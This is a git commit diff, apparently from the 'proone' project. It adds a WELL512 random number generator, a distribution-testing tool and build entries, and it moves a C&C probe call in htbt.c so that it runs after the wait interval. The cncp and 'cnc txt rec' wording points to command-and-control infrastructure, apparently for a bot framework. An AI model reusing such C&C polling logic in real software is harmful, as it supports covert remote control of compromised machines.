aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDavid Timber <mieabby@gmail.com>2020-09-10 13:17:25 +0930
committerDavid Timber <mieabby@gmail.com>2020-09-10 13:17:25 +0930
commitc4160ed41717260b5941e2729c444b8ec051d5f0 (patch)
treeebff8d607109689adce32b25e02d294cd86c251d
parentbb797b9a405090d69cae75d2ef76cb797449886c (diff)
* Impl: rnd interface and WELL512
* cncp: query cnc txt rec after wait not before * In case the child keeps on dying
-rw-r--r--.vscode/launch.json15
-rw-r--r--.vscode/tasks.json5
-rw-r--r--src/Makefile.am10
-rw-r--r--src/htbt.c4
-rw-r--r--src/proone-rnd.c100
-rw-r--r--src/rnd.c22
-rw-r--r--src/rnd.h26
-rw-r--r--src/rnd_well512.c75
8 files changed, 253 insertions, 4 deletions
diff --git a/.vscode/launch.json b/.vscode/launch.json
index acc9e6b..6bcfd80 100644
--- a/.vscode/launch.json
+++ b/.vscode/launch.json
@@ -72,6 +72,21 @@
"preLaunchTask": "Build pack",
"miDebuggerPath": "/usr/bin/gdb"
},
+ {
+ "name": "rnd",
+ "type": "cppdbg",
+ "request": "launch",
+ "program": "${workspaceFolder}/src/proone-rnd",
+ "args": [ "256", "256" ],
+ "stopAtEntry": false,
+ "cwd": "${workspaceFolder}",
+ "environment": [],
+ "externalConsole": false,
+ "MIMode": "gdb",
+ "setupCommands": [],
+ "preLaunchTask": "Build rnd",
+ "miDebuggerPath": "/usr/bin/gdb"
+ },
{
"name": "proone",
diff --git a/.vscode/tasks.json b/.vscode/tasks.json
index c8402b5..03171be 100644
--- a/.vscode/tasks.json
+++ b/.vscode/tasks.json
@@ -41,6 +41,11 @@
"command": "make -C ./src dvault.bin proone-pack"
},
{
+ "label": "Build rnd",
+ "type": "shell",
+ "command": "make -C ./src proone-rnd"
+ },
+ {
"label": "Build proone",
"type": "shell",
"command": "make -C ./src proone"
diff --git a/src/Makefile.am b/src/Makefile.am
index 8b6369d..ce079d4 100644
--- a/src/Makefile.am
+++ b/src/Makefile.am
@@ -21,7 +21,8 @@ bin_PROGRAMS =\
proone-resolv\
proone-stress\
proone-ipaddr-arr\
- proone-htbthost
+ proone-htbthost\
+ proone-rnd
proone_tests =\
proone-test_proto\
@@ -41,7 +42,9 @@ libproone_a_SOURCES =\
pth.c\
resolv.c\
htbt.c\
- iobuf.c
+ iobuf.c\
+ rnd.c\
+ rnd_well512.c
proone: proone.bin dvault.bin
cp -fa proone.bin proone
@@ -81,6 +84,9 @@ proone_stress_LDADD = libproone.a
proone_stress_LDFLAGS = -static
proone_stress_SOURCES = proone-stress.c
+proone_rnd_LDADD = libproone.a
+proone_rnd_SOURCES = proone-rnd.c
+
proone_test_proto_LDADD = libproone.a
proone_test_proto_LDFLAGS =
proone_test_proto_SOURCES = proone-test_proto.c
diff --git a/src/htbt.c b/src/htbt.c
index 426f985..0a1b3f7 100644
--- a/src/htbt.c
+++ b/src/htbt.c
@@ -2057,8 +2057,6 @@ static void *htbt_cncp_entry (void *p) {
pth_event_t ev = NULL;
while (ctx->loop_flag) {
- htbt_cncp_do_probe(ctx);
-
// calc interval variance
intvar = 0; // ignore failure of mbedtls_ctr_drbg_random()
mbedtls_ctr_drbg_random(
@@ -2078,6 +2076,8 @@ static void *htbt_cncp_entry (void *p) {
pth_cond_await(&ctx->cncp.cond, &ctx->cncp.lock, ev);
}
pth_mutex_release(&ctx->cncp.lock);
+
+ htbt_cncp_do_probe(ctx);
}
pth_event_free(ev, FALSE);
diff --git a/src/proone-rnd.c b/src/proone-rnd.c
new file mode 100644
index 0000000..b5a1edf
--- /dev/null
+++ b/src/proone-rnd.c
@@ -0,0 +1,100 @@
+#include <stdio.h>
+#include <inttypes.h>
+
+#include "rnd.h"
+#include "util_rt.h"
+
+#include <mbedtls/ctr_drbg.h>
+#include <mbedtls/entropy.h>
+
+
+int main (const int argc, const char **args) {
+ int ret = 0;
+ uint32_t max, cnt, n, empty_cnt;
+ uint32_t *arr = NULL;
+ size_t graph[20], g_max, sn;
+ mbedtls_ctr_drbg_context ctr_drbg;
+ mbedtls_entropy_context entropy;
+ prne_rnd_t rnd;
+
+ prne_memzero(graph, sizeof(graph));
+ mbedtls_ctr_drbg_init(&ctr_drbg);
+ mbedtls_entropy_init(&entropy);
+ prne_init_rnd(&rnd);
+
+ if (argc < 3) {
+ fprintf(stderr, "Usage: %s <max> <count>\n", args[0]);
+ ret = 2;
+ goto END;
+ }
+ if (sscanf(args[1], "%"SCNu32, &max) != 1 || max == 0) {
+ fprintf(stderr, "Invalid <max>\n");
+ ret = 2;
+ goto END;
+ }
+ if (sscanf(args[2], "%"SCNu32, &cnt) != 1) {
+ fprintf(stderr, "Invalid <count>\n");
+ ret = 2;
+ goto END;
+ }
+
+ prne_assert(mbedtls_ctr_drbg_seed(
+ &ctr_drbg,
+ mbedtls_entropy_func,
+ &entropy,
+ NULL,
+ 0) == 0);
+ {
+ uint8_t is[64];
+
+ prne_assert(mbedtls_ctr_drbg_random(&ctr_drbg, is, sizeof(is)) == 0);
+ prne_assert(prne_rnd_alloc_well512(&rnd, is, sizeof(is)));
+ }
+
+ arr = prne_calloc(sizeof(uint32_t), max);
+ for (uint32_t i = 0; i < cnt; i += 1) {
+#if 1
+ prne_assert(prne_rnd(&rnd, (uint8_t*)&n, sizeof(n)));
+#else
+ prne_assert(mbedtls_ctr_drbg_random(
+ &ctr_drbg,
+ (uint8_t*)&n,
+ sizeof(n)) == 0);
+#endif
+ n = n % max;
+ arr[n] += 1;
+ graph[n * 20 / max] += 1;
+ }
+
+ empty_cnt = 0;
+ for (size_t i = 0; i < max; i += 1) {
+ if (arr[i] == 0) {
+ empty_cnt += 1;
+ }
+ }
+
+ g_max = 0;
+ for (size_t i = 0; i < 20; i += 1) {
+ if (graph[i] > g_max) {
+ g_max = graph[i];
+ }
+ }
+
+ for (size_t y = 0; y < 20; y += 1) {
+ sn = graph[y] * 75 / g_max;
+ printf("%2zu: ", y + 1);
+ for (size_t x = 0; x < sn; x += 1) {
+ printf("=");
+ }
+ printf("\n");
+ }
+ printf("Empty: %"PRIu32"\n", empty_cnt);
+
+END:
+ mbedtls_ctr_drbg_free(&ctr_drbg);
+ mbedtls_entropy_free(&entropy);
+ prne_free_rnd(&rnd);
+ prne_free(arr);
+
+ return ret;
+}
diff --git a/src/rnd.c b/src/rnd.c
new file mode 100644
index 0000000..1203e29
--- /dev/null
+++ b/src/rnd.c
@@ -0,0 +1,22 @@
+#include "rnd.h"
+#include "util_rt.h"
+
+
+void prne_init_rnd (prne_rnd_t *p) {
+ prne_memzero(p, sizeof(prne_rnd_t));
+}
+
+void prne_free_rnd (prne_rnd_t *p) {
+ if (p == NULL) {
+ return;
+ }
+
+ if (p->free_ctx_f != NULL) {
+ p->free_ctx_f(p->ctx);
+ }
+ prne_memzero(p, sizeof(prne_rnd_t));
+}
+
+bool prne_rnd (prne_rnd_t *p, uint8_t *buf, const size_t len) {
+ return p->random(p->ctx, buf, len);
+}
diff --git a/src/rnd.h b/src/rnd.h
new file mode 100644
index 0000000..706ebc1
--- /dev/null
+++ b/src/rnd.h
@@ -0,0 +1,26 @@
+#pragma once
+#include <stdint.h>
+#include <stddef.h>
+#include <stdbool.h>
+
+
+struct prne_rnd {
+ void *ctx;
+ void (*free_ctx_f)(void*);
+ bool (*random)(void*, uint8_t *buf, size_t len);
+};
+
+typedef struct prne_rnd prne_rnd_t;
+
+
+void prne_init_rnd (prne_rnd_t *p);
+void prne_free_rnd (prne_rnd_t *p);
+bool prne_rnd (prne_rnd_t *p, uint8_t *buf, const size_t len);
+
+/*
+* is_len should be 64 bytes(512 bits).
+*/
+bool prne_rnd_alloc_well512 (
+ prne_rnd_t *p,
+ const uint8_t *is,
+ const size_t is_len);
diff --git a/src/rnd_well512.c b/src/rnd_well512.c
new file mode 100644
index 0000000..5f7b97e
--- /dev/null
+++ b/src/rnd_well512.c
@@ -0,0 +1,75 @@
+#include "rnd.h"
+#include "util_rt.h"
+
+#include <string.h>
+#include <errno.h>
+
+
+typedef struct {
+ uint32_t state[16];
+ size_t index;
+} rnd_well512_ctx_t;
+
+static uint32_t rnd_well512_pull (rnd_well512_ctx_t *ctx) {
+ uint32_t a, b, c, d;
+
+ a = ctx->state[ctx->index];
+ c = ctx->state[(ctx->index + 13) & 15];
+ b = a ^ c ^ (a << 16) ^ (c << 15);
+ c = ctx->state[(ctx->index + 9) & 15];
+ c ^= (c >> 11);
+ a = ctx->state[ctx->index] = b ^ c;
+ d = a ^ ((a << 5) & 0xDA442D24UL);
+ ctx->index = (ctx->index + 15) & 15;
+ a = ctx->state[ctx->index];
+ ctx->state[ctx->index] = a ^ b ^ d ^ (a << 2) ^ (b << 18) ^ (c << 28);
+
+ return ctx->state[ctx->index];
+}
+
+static bool rnd_well512_f (void *p, uint8_t *buf, size_t len) {
+ rnd_well512_ctx_t *ctx = (rnd_well512_ctx_t*)p;
+ size_t consume;
+ uint32_t n;
+
+
+ while (len > 0) {
+ n = rnd_well512_pull(ctx);
+ consume = prne_op_min(len, sizeof(n));
+ memcpy(buf, &n, consume);
+ buf += consume;
+ len -= consume;
+ }
+
+ return true;
+}
+
+static void rnd_free_well512 (void *p) {
+ prne_free(p);
+}
+
+bool prne_rnd_alloc_well512 (
+ prne_rnd_t *p,
+ const uint8_t *is,
+ const size_t is_len)
+{
+ rnd_well512_ctx_t *ctx;
+
+ if (is_len < sizeof(ctx->state)) {
+ errno = EINVAL;
+ return false;
+ }
+
+ ctx = (rnd_well512_ctx_t*)prne_calloc(sizeof(rnd_well512_ctx_t), 1);
+ if (ctx == NULL) {
+ return false;
+ }
+
+ prne_free_rnd(p);
+ memcpy(ctx->state, is, sizeof(ctx->state));
+ p->ctx = ctx;
+ p->free_ctx_f = rnd_free_well512;
+ p->random = rnd_well512_f;
+
+ return true;
+}